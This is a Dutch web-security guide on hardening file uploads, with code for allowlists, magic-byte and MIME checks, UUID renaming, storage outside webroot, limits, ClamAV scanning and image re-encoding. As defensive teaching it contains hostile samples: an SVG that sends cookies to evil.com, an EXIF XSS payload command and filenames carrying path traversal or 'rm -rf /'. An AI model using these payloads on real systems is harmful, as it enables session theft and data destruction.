jan-karel.nl
Home / Securitymaatregelen / Webbeveiliging / File Upload Hardening

File Upload Hardening

File Upload Hardening

Veilig Bouwen Zonder Vertraging

Webrisico is zelden mysterieus. Het zit meestal in voorspelbare fouten die onder tijdsdruk blijven staan.

In File Upload Hardening verklein je risico met typecontrole, isolatie, scanning en beperkte uitvoerrechten.

Dat maakt security minder een losse controle achteraf en meer een standaardkwaliteit van je product.

Directe maatregelen (15 minuten)

Waarom dit telt

De kern van File Upload Hardening is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.

Waarom file uploads gevaarlijk zijn

Een onbeveiligde file upload opent de deur naar vrijwel elke aanvalscategorie:

Aanval Mechanisme Impact
Malware distributie Server wordt gebruikt om malware te hosten en verspreiden Reputatieschade, juridische aansprakelijkheid
Path traversal Bestandsnaam bevat ../../ om buiten upload-directory te schrijven Overschrijven van configuratiebestanden, RCE
Denial of Service Extreem grote bestanden of enorme aantallen uploads Schijfruimte uitgeput, service onbeschikbaar
Stored XSS via SVG SVG-bestand met embedded <script> tags Sessie-diefstal, account takeover
Stored XSS via HTML HTML-bestand met JavaScript, geserveerd met text/html Sessie-diefstal, phishing
EXIF-data injection Metadata in afbeeldingen bevat payloads XSS, SQL injection via metadata-parsing
XML External Entity Bestanden met XML-structuur (SVG, DOCX, XLSX) bevatten XXE payloads SSRF, file disclosure
Polyglot files Bestand is tegelijkertijd een geldig JPEG en een geldig PHP-script Bypass van validatie, RCE

De kernvraag is niet of je upload-functionaliteit kwetsbaar is, maar hoeveel lagen verdediging je hebt aangebracht voordat een aanvaller bij de kroonjuwelen komt.

Bestandstype-validatie

Extension allowlist

Gebruik altijd een allowlist van toegestane extensies, nooit een blocklist. Een blocklist is per definitie incompleet: je blokkeert .php maar vergeet .phtml, .pht, .php5, .phar, of .shtml.

# Python - extension allowlist
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.pdf', '.docx'}

def allowed_file(filename: str) -> bool:
    ext = os.path.splitext(filename)[1].lower()
    return ext in ALLOWED_EXTENSIONS
// Node.js - extension allowlist
const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.pdf', '.docx']);

function allowedFile(filename) {
  const ext = path.extname(filename).toLowerCase();
  return ALLOWED_EXTENSIONS.has(ext);
}

MIME type validatie

De Content-Type header wordt door de client gezet en is daarmee fundamenteel onbetrouwbaar. Een aanvaller kan een PHP-webshell uploaden met Content-Type: image/jpeg. Controleer de MIME type server-side op basis van de bestandsinhoud:

# Python - server-side MIME detectie met python-magic
import magic

def validate_mime(filepath: str, allowed_mimes: set) -> bool:
    mime = magic.from_file(filepath, mime=True)
    return mime in allowed_mimes

ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}
// Node.js - MIME detectie met file-type (werkt op magic bytes)
import { fileTypeFromFile } from 'file-type';

async function validateMime(filepath, allowedMimes) {
  const result = await fileTypeFromFile(filepath);
  if (!result) return false;
  return allowedMimes.has(result.mime);
}
// PHP - finfo voor MIME detectie
function validateMime(string $filepath, array $allowedMimes): bool {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($filepath);
    return in_array($mime, $allowedMimes, true);
}

Magic bytes validatie

Magic bytes (file signatures) zijn de eerste bytes van een bestand die het formaat identificeren. Dit is betrouwbaarder dan extensies of Content-Type headers, maar niet waterdicht: polyglot bestanden kunnen geldige magic bytes hebben en toch kwaadaardige code bevatten.

Bestandstype Magic bytes (hex) Extensie MIME type
JPEG FF D8 FF .jpg, .jpeg image/jpeg
PNG 89 50 4E 47 0D 0A 1A 0A .png image/png
GIF87a 47 49 46 38 37 61 .gif image/gif
GIF89a 47 49 46 38 39 61 .gif image/gif
PDF 25 50 44 46 2D .pdf application/pdf
ZIP (DOCX/XLSX) 50 4B 03 04 .zip, .docx, .xlsx application/zip
RIFF (WebP) 52 49 46 46 .webp image/webp
SVG 3C 3F 78 6D 6C of 3C 73 76 67 .svg image/svg+xml
# Python - magic bytes validatie
MAGIC_BYTES = {
    b'\xff\xd8\xff': 'image/jpeg',
    b'\x89PNG\r\n\x1a\n': 'image/png',
    b'GIF87a': 'image/gif',
    b'GIF89a': 'image/gif',
    b'%PDF-': 'application/pdf',
}

def check_magic_bytes(filepath: str) -> str | None:
    with open(filepath, 'rb') as f:
        header = f.read(8)
    for magic, mime in MAGIC_BYTES.items():
        if header.startswith(magic):
            return mime
    return None

Gecombineerde validatie

Vertrouw nooit op een enkele laag. Combineer alle drie de methoden:

def validate_upload(filename: str, filepath: str) -> bool:
    # Laag 1: extensie
    if not allowed_file(filename):
        return False
    # Laag 2: magic bytes
    detected_type = check_magic_bytes(filepath)
    if detected_type not in ALLOWED_MIMES:
        return False
    # Laag 3: server-side MIME
    if not validate_mime(filepath, ALLOWED_MIMES):
        return False
    return True

Bestandsnaam-sanitisatie

De originele bestandsnaam van een upload is user input en moet als zodanig behandeld worden. Vertrouw er nooit op.

Gevaarlijke bestandsnamen

Aanvalstechniek Voorbeeld Risico
Path traversal ../../../etc/cron.d/backdoor Bestanden overschrijven buiten upload-dir
Null byte injection shell.php%00.jpg Oude parsers zien .jpg, server voert .php uit
Dubbele extensie document.php.jpg Afhankelijk van serverconfiguratie: uitvoering als PHP
Unicode tricks image\u202E\u0067np.php (right-to-left override) Bestandsnaam lijkt op imagphp.png in UI
Overlengte naam A x 10000 + .jpg Buffer overflows, filesystem-fouten
Speciale tekens ; rm -rf / ;.jpg Command injection bij onveilige verwerking
Windows reserved CON.jpg, NUL.png, AUX.pdf Systeemfouten op Windows-servers
Dots en spaties shell.php. of shell.php Windows strip trailing dots/spaties: wordt shell.php

Veilige aanpak: hernoemen

De veiligste strategie is de originele bestandsnaam volledig negeren en een UUID toewijzen:

import uuid
import os

def safe_filename(original_filename: str) -> str:
    ext = os.path.splitext(original_filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError(f"Extensie niet toegestaan: {ext}")
    return f"{uuid.uuid4().hex}{ext}"
// Node.js
const { randomUUID } = require('crypto');
const path = require('path');

function safeFilename(originalFilename) {
  const ext = path.extname(originalFilename).toLowerCase();
  if (!ALLOWED_EXTENSIONS.has(ext)) {
    throw new Error(`Extensie niet toegestaan: ${ext}`);
  }
  return `${randomUUID().replace(/-/g, '')}${ext}`;
}

Als je de originele naam wilt bewaren (bijvoorbeeld voor gebruikersvriendelijkheid), sla deze op in de database maar gebruik de UUID op het filesystem:

# Database: originele naam bewaren, UUID op disk
upload = Upload(
    original_name=secure_filename(file.filename),
    stored_name=safe_filename(file.filename),
    uploaded_by=current_user.id
)

os.path.basename() is niet genoeg

os.path.basename() voorkomt path traversal maar beschermt niet tegen dubbele extensies, null bytes of Unicode-trucs. Gebruik het als aanvullende laag, niet als enige verdediging:

# Minimaal: basename + Werkzeug secure_filename
from werkzeug.utils import secure_filename

name = secure_filename(os.path.basename(uploaded_name))
# Beter: UUID + bewaar originele naam in database

Opslag-hardening

Buiten de webroot opslaan

Regel nummer een: sla uploads nooit op in een directory die direct door de webserver wordt geserveerd. Als een aanvaller een webshell uploadt naar /var/www/html/uploads/, kan hij die direct via de browser aanroepen.

# Fout: binnen webroot
/var/www/html/
  ├── index.php
  └── uploads/        <-- direct bereikbaar via http://site/uploads/
      └── shell.php   <-- http://site/uploads/shell.php = RCE

# Goed: buiten webroot
/var/www/html/
  └── index.php
/srv/uploads/          <-- niet direct bereikbaar via HTTP
  └── a3f8b2c1.jpg

Serveer uploads via een applicatie-route die access control en content-type headers afdwingt:

# Flask - uploads serveren via applicatie
@app.route('/files/<file_id>')
@login_required
def serve_file(file_id):
    upload = Upload.query.get_or_404(file_id)
    return send_from_directory(
        app.config['UPLOAD_FOLDER'],
        upload.stored_name,
        mimetype=upload.detected_mime,  # Geen text/html!
        as_attachment=True
    )

Dedicated opslag-service

Gebruik bij voorkeur object storage (S3, GCS, Azure Blob) met pre-signed URLs:

# AWS S3 - pre-signed upload URL
import boto3

s3 = boto3.client('s3')

def generate_upload_url(bucket: str, key: str, expires: int = 300) -> str:
    return s3.generate_presigned_url(
        'put_object',
        Params={
            'Bucket': bucket,
            'Key': key,
            'ContentType': 'image/jpeg',
        },
        ExpiresIn=expires
    )

# Pre-signed download URL
def generate_download_url(bucket: str, key: str, expires: int = 3600) -> str:
    return s3.generate_presigned_url(
        'get_object',
        Params={
            'Bucket': bucket,
            'Key': key,
            'ResponseContentDisposition': 'attachment',
        },
        ExpiresIn=expires
    )

Geen execute-permissies

Zorg dat de upload-directory geen execute-permissies heeft:

# Filesystem-permissies
chmod 750 /srv/uploads
chown www-data:www-data /srv/uploads
# Geen execute bit op bestanden
chmod 640 /srv/uploads/*

Nginx: blokkeer uitvoering in upload-directory

# nginx - blokkeer script-uitvoering in upload-locatie
location /uploads/ {
    # Forceer download, nooit uitvoeren
    add_header Content-Disposition "attachment" always;
    add_header X-Content-Type-Options "nosniff" always;

    # Blokkeer alle script-extensies expliciet
    location ~* \.(php|phtml|php5|phar|pl|py|cgi|asp|aspx|jsp|sh|bash)$ {
        deny all;
        return 403;
    }

    # Geen directory listing
    autoindex off;
}

Aparte domein voor user content

Serveer user-gegenereerde content vanaf een apart domein om cookie-scope en same-origin-policy te benutten als verdedigingslaag:

# Hoofdapplicatie
app.example.com          -> sessie-cookies, CSRF-tokens

# User content (apart domein, geen cookies van hoofdapp)
content.example.com      -> uploads, profielafbeeldingen

Als een aanvaller XSS bereikt via een geupload SVG-bestand op content.example.com, heeft hij geen toegang tot cookies van app.example.com.

Grootte- en hoeveelheidslimieten

Zonder limieten is je upload-endpoint een uitnodiging voor Denial of Service.

Server-configuratie

# nginx - maximale body size
http {
    client_max_body_size 10m;    # Globaal: max 10 MB
    client_body_timeout 30s;     # Timeout voor ontvangen body
    client_body_buffer_size 128k;
}

# Per location override
location /api/upload {
    client_max_body_size 25m;    # Specifiek endpoint: max 25 MB
}
# Apache
LimitRequestBody 10485760

Applicatie-limieten

# Flask - file size limit
app.config['MAX_CONTENT_LENGTH'] = 10 * 1024 * 1024  # 10 MB

@app.errorhandler(413)
def too_large(e):
    return jsonify(error="Bestand te groot (max 10 MB)"), 413
// Express + multer - file size en aantal limieten
const multer = require('multer');

const upload = multer({
  dest: '/srv/uploads/',
  limits: {
    fileSize: 10 * 1024 * 1024,  // 10 MB per bestand
    files: 5,                     // Max 5 bestanden per request
    fields: 10,                   // Max 10 form fields
  },
  fileFilter: (req, file, cb) => {
    const allowed = ['.jpg', '.jpeg', '.png', '.gif', '.pdf'];
    const ext = path.extname(file.originalname).toLowerCase();
    cb(null, allowed.includes(ext));
  }
});

app.post('/upload', upload.array('files', 5), (req, res) => {
  res.json({ uploaded: req.files.length });
});

Rate limiting

# Flask-Limiter - beperk uploads per tijdseenheid
from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/upload', methods=['POST'])
@limiter.limit("10/hour")          # Max 10 uploads per uur per IP
@limiter.limit("3/minute")         # Max 3 per minuut
def upload_file():
    ...

Antivirus-scanning

Scan elk geupload bestand op malware voordat het wordt opgeslagen of beschikbaar gemaakt.

ClamAV integratie

# ClamAV installeren en daemon starten
sudo apt install clamav clamav-daemon
sudo freshclam                     # Signature update
sudo systemctl start clamav-daemon
# Python - scanning met pyclamd
import pyclamd

class VirusScanner:
    def __init__(self):
        self.cd = pyclamd.ClamdUnixSocket('/var/run/clamav/clamd.ctl')
        if not self.cd.ping():
            raise RuntimeError("ClamAV daemon niet bereikbaar")

    def scan_file(self, filepath: str) -> tuple[bool, str | None]:
        """Retourneert (is_clean, threat_name)."""
        result = self.cd.scan_file(filepath)
        if result is None:
            return True, None
        # result = {'/path/to/file': ('FOUND', 'Eicar-Test-Signature')}
        status, threat = list(result.values())[0]
        return False, threat

# Gebruik in upload handler
scanner = VirusScanner()

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    temp_path = os.path.join('/tmp', safe_filename(file.filename))
    file.save(temp_path)

    is_clean, threat = scanner.scan_file(temp_path)
    if not is_clean:
        os.remove(temp_path)
        app.logger.warning(f"Malware gedetecteerd: {threat}")
        return jsonify(error="Bestand geweigerd door virusscanner"), 400

    # Bestand is schoon, verplaats naar definitieve opslag
    final_path = os.path.join(app.config['UPLOAD_FOLDER'], os.path.basename(temp_path))
    shutil.move(temp_path, final_path)
    return jsonify(status="ok"), 201

Let op: antivirus-scanning is een aanvullende laag, geen vervanging voor bestandstype-validatie. AV-scanners missen zero-day payloads en custom malware.

Afbeelding-specifieke risico’s

SVG met embedded JavaScript

SVG is XML en kan willekeurige JavaScript bevatten:

<!-- Kwaadaardige SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://evil.com/?c='+document.cookie</script>
  <rect width="100" height="100" fill="red"/>
</svg>

Verdediging: serveer SVG nooit met Content-Type: image/svg+xml als het user-uploaded content is. Gebruik Content-Disposition: attachment of converteer naar een rasterformaat.

EXIF-data met payloads

EXIF-metadata in JPEG-bestanden kan XSS-payloads of SQL injection strings bevatten die worden getriggerd wanneer de applicatie metadata parst en zonder encoding weergeeft:

# Payload in EXIF Comment veld
exiftool -Comment='<script>alert(document.cookie)</script>' photo.jpg

Image re-encoding als verdediging

Door afbeeldingen opnieuw te encoderen verwijder je embedded scripts, EXIF-data en polyglot-constructies:

# Python - strip EXIF en re-encode met Pillow
from PIL import Image
import io

def sanitize_image(input_path: str, output_path: str, max_size: tuple = (4096, 4096)):
    """Hercodeer afbeelding: strips EXIF, verwijdert embedded content."""
    with Image.open(input_path) as img:
        # Verifieer dat het daadwerkelijk een afbeelding is
        img.verify()

    # Opnieuw openen na verify (verify maakt object onbruikbaar)
    with Image.open(input_path) as img:
        # Converteer naar RGB (verwijdert alpha-channel trucs)
        if img.mode not in ('RGB', 'L'):
            img = img.convert('RGB')

        # Beperk afmetingen
        img.thumbnail(max_size, Image.LANCZOS)

        # Sla op zonder EXIF-data
        img.save(output_path, format='JPEG', quality=85, exif=b'')
// Node.js - re-encode met sharp
const sharp = require('sharp');

async function sanitizeImage(inputPath, outputPath) {
  await sharp(inputPath)
    .rotate()                    // Auto-rotate op basis van EXIF, dan strip
    .resize(4096, 4096, {
      fit: 'inside',
      withoutEnlargement: true
    })
    .removeAlpha()
    .jpeg({ quality: 85 })
    .toFile(outputPath);
}

Content-Security-Policy voor uploads

Voeg een strikte CSP toe aan responses voor user-uploaded content:

@app.after_request
def add_upload_csp(response):
    if request.path.startswith('/files/'):
        response.headers['Content-Security-Policy'] = (
            "default-src 'none'; "
            "style-src 'none'; "
            "script-src 'none'; "
            "object-src 'none'"
        )
        response.headers['X-Content-Type-Options'] = 'nosniff'
    return response

Het is altijd weer een genot om te zien hoe applicaties omgaan met file uploads. “De gebruiker kan hier een profielfoto uploaden,” zegt de product owner, met het volste vertrouwen dat gebruikers braaf een 200x200 JPEG zullen kiezen. Ondertussen heb je net een directe pijplijn gebouwd van het publieke internet naar het filesystem van je server, beschermd door precies nul lagen validatie en een extension blocklist die .exe en .bat bevat maar .php vergeten is. Want ja, wie uploadt er nou een PHP-bestand als profielfoto? Alleen iedereen die je applicatie wil overnemen. Maar geen zorgen – de Content-Type header zegt image/jpeg, dus het moet wel veilig zijn. Die header wordt immers gezet door… de aanvaller. Hetzelfde type logica als een nachtclub die bezoekers vraagt hun eigen leeftijd op een briefje te schrijven. “Hij heeft 21 opgeschreven, laat maar door.” En als klap op de vuurpijl slaan we alles lekker op in /var/www/html/uploads/, direct bereikbaar en uitvoerbaar via de browser, want dat scheelt weer een proxy-route configureren. Security by convenience.

Veelvoorkomende fouten

# Fout Waarom het gevaarlijk is Oplossing
1 Alleen extensie-controle Triviaal te omzeilen door hernoemen Combineer met magic bytes en MIME-detectie
2 Blocklist i.p.v. allowlist Je vergeet altijd een extensie (.phtml, .phar, .shtml) Gebruik een strikte allowlist
3 Vertrouwen op Content-Type header Door client gezet, volledig manipuleerbaar Server-side detectie met libmagic/file-type
4 Opslag in webroot Directe uitvoering van geupload script Sla op buiten webroot, serveer via applicatie
5 Originele bestandsnaam behouden Path traversal, dubbele extensies, Unicode-trucs UUID-hernoemen, originele naam in database
6 Geen grootte-limiet DoS door grote uploads Configureer max op webserver en applicatie
7 Geen rate limiting Brute force upload, disk space exhaustion Limieteer per IP per tijdseenheid
8 SVG toestaan zonder sanitisatie Embedded JavaScript, XSS Blokkeer SVG of converteer naar raster
9 EXIF-data doorgeven aan frontend XSS via metadata-velden Strip EXIF, re-encode afbeeldingen
10 Geen antivirus-scanning Malware-distributie via je platform Integreer ClamAV of vergelijkbare scanner
11 Geen Content-Disposition header Browser rendert bestand i.p.v. download Altijd attachment voor user content
12 Zelfde domein voor app en uploads XSS in upload heeft toegang tot sessie-cookies Gebruik apart content-domein

Checklist

Prioriteit Maatregel Implementatie
KRITIEK Extension allowlist Code: alleen expliciet toegestane extensies accepteren
KRITIEK Magic bytes validatie Code: python-magic, file-type, finfo
KRITIEK Opslag buiten webroot Infrastructuur: aparte directory, serveren via app-route
KRITIEK Bestandsnaam-sanitisatie Code: UUID-hernoemen, originele naam in database
HOOG Grootte-limieten Webserver: client_max_body_size; App: MAX_CONTENT_LENGTH
HOOG Execute-permissies verwijderen Infrastructuur: chmod, nginx location-blok
HOOG Content-Disposition header Code/webserver: attachment voor alle user uploads
HOOG X-Content-Type-Options: nosniff Code/webserver: voorkom MIME-sniffing door browser
HOOG Image re-encoding Code: Pillow/sharp voor strip EXIF + hercoderen
MEDIUM Antivirus-scanning Infrastructuur: ClamAV daemon + pyclamd integratie
MEDIUM Rate limiting Code: Flask-Limiter, express-rate-limit
MEDIUM Aparte content-domein Infrastructuur: content.example.com voor user uploads
MEDIUM CSP op upload-responses Code: strikte Content-Security-Policy header
LAAG Pre-signed URLs (S3/GCS) Infrastructuur: object storage met tijdelijke URLs
LAAG SVG-naar-raster conversie Code: Pillow/sharp/Inkscape voor SVG sanitisatie

Samenvatting – File upload hardening vereist een defense-in-depth strategie. Geen enkele maatregel is op zichzelf voldoende: een allowlist op extensies wordt omzeild door polyglot bestanden, magic bytes validatie mist custom payloads, en antivirus-scanning vangt geen zero-days. De combinatie van strikte bestandstype-validatie (extensie + magic bytes + MIME), bestandsnaam-sanitisatie (UUID-hernoemen), veilige opslag (buiten webroot, zonder execute-permissies, apart domein), grootte- en rate-limieten, antivirus-scanning en image re-encoding vormt samen een robuuste verdediging. Behandel elke upload als potentieel kwaadaardig – want dat is het, totdat het tegendeel bewezen is.

In het volgende hoofdstuk behandelen we OAuth 2.0 en OpenID Connect – hoe je authenticatie en autorisatie veilig delegeert aan identity providers, en welke fouten je daarbij absoluut moet vermijden.

Op de hoogte blijven?

Ontvang maandelijks cybersecurity-inzichten in je inbox.

← Webbeveiliging ← Home